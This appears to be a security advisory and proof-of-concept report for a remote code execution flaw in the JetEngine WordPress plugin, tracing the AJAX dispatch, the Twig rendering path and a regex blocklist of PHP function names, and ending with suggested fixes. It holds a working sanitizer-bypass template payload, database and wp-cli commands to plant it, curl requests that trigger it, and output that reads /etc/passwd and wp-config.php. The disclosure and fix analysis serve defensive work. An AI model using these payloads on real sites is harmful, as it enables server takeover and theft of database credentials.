
JetEngine <= 3.7.2 - Authenticated (Contributor+) Remote Code Execution
Date: March 11, 2026 CVSS Score: 8.8 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected Plugin: JetEngine <= 3.7.2 Plugin Slug: jet-engine CVE: CVE-2026-28134 Status: Private WordPress Version Tested: Latest
CVE-2026-28134 is a Remote Code Execution vulnerability in the JetEngine WordPress plugin affecting all versions up to and including 3.7.2. The vulnerability allows authenticated attackers with Contributor-level access and above to execute arbitrary OS commands on the server by injecting a malicious Twig template into a JetEngine Listing post.
The attack chain combines three weaknesses:
~ string concatenation operator to split blocked function names across tokens.✅ VULNERABILITY CONFIRMED — Full RCE Achieved
Confirmed impact:
www-data/etc/passwd, wp-config.php)JetEngine provides a Twig/Timber-based Listing view type. When the timber_views component is enabled, Listing posts with _listing_type = twig have their _jet_engine_listing_html post meta rendered as a live Twig template via Timber. The rendering pipeline is reachable through the unauthenticated wp_ajax_nopriv_jet_engine_ajax AJAX action, requiring only that the attacker can create or modify a JetEngine Listing post (Contributor role minimum).
ajax-handlers.php registers the AJAX action for both authenticated and unauthenticated users:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
The handler dispatches to any public method on the class based on $_REQUEST['handler'] with no nonce or capability check:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Calling listing_load_more is publicly accessible and triggers the Listing rendering pipeline.
The listing_load_more → get_listing → frontend->get_listing_item call chain reaches:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
When $listing_view = 'twig', this fires Jet_Engine\Timber_Views\Render::get_listing_content(), which reads the Twig template from the post's _jet_engine_listing_html meta field and passes it directly to render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig renders without a sandbox. The only protection is sanitize_twig_content().
sanitize_twig_content() removes dangerous PHP function names using word-boundary regex patterns and then checks if the template was modified:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
The pattern \bsystem\b matches the literal token system. It does not match "sys" ~ "tem" because those are two separate quoted string tokens. Twig evaluates the concatenation at render time, producing "system" only in memory — the source template never contains the blocked word.
Bypass payload:
{{ fn("sys" ~ "tem", "id") }}
The sanitizer sees fn, "sys", ~, "tem", "id" — none of which are in the blocklist. It passes unchanged.
fn() HelperTimber registers PHP callable wrappers directly in the Twig environment:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} resolves to call_user_func_array("system", ["id"]) — arbitrary OS command execution.
timber_views component is enabled (JetEngine Settings > Performance > Timber/Twig Views).Create a JetEngine Listing post with the malicious Twig template stored in post meta:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Or via wp-cli (as the Contributor user):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
Blocked string passthru split as "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Template set to {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Template {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax fires for unauthenticated requests. The handle_ajax() dispatcher performs no nonce verification and no capability check before invoking listing_load_more. The render pipeline is therefore reachable by any unauthenticated user once a malicious listing exists.
Twig's official sandbox extension (\Twig\Sandbox\SecurityPolicy) enforces allowlists at the engine level — it is impossible to call functions not explicitly permitted. JetEngine uses createTemplate() with no sandbox. The only protection is a pre-render string scan, which is easily circumvented.
The blocklist approach (/\bsystem\b/i) operates on static template source text. Twig's ~ concatenation operator builds strings at runtime. Any blocked name can be split: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. A proper sandbox would reject the call regardless of how the function name was constructed.
call_user_func_arrayTimber's fn() and function() Twig helpers are unconditional bridges to PHP's call_user_func_array. There is no allowlist of callable functions. Any PHP function reachable from the web process can be invoked.
| Date | Event |
|---|---|
| 2026-03-11 | Vulnerability discovered and confirmed with full RCE PoC |
| 2026-03-11 | Report drafted |
| File | Issue |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registered — no auth or nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — arbitrary public method dispatch |
includes/components/timber-views/timber.php:150 | render_html() renders attacker-controlled Twig template with no sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — string regex blocklist, bypassed by token splitting |
timber-library/lib/Twig.php:42-43 | Timber registers fn()/function() as Twig wrappers for call_user_func_array |
| Fix | Description |
|---|
Add nonce + capability check to handle_ajax() | Require edit_posts capability and a valid nonce for all AJAX dispatch |
| Enable Twig sandbox | Replace string blocklist with \Twig\Sandbox\SecurityPolicy — explicitly allowlist safe functions and properties |
Restrict Timber fn() helper | Allowlist callable function names or remove fn()/function() from the Twig environment for untrusted templates |
| Validate listing ownership | Confirm the requesting user has edit_post capability on the listing before rendering its template |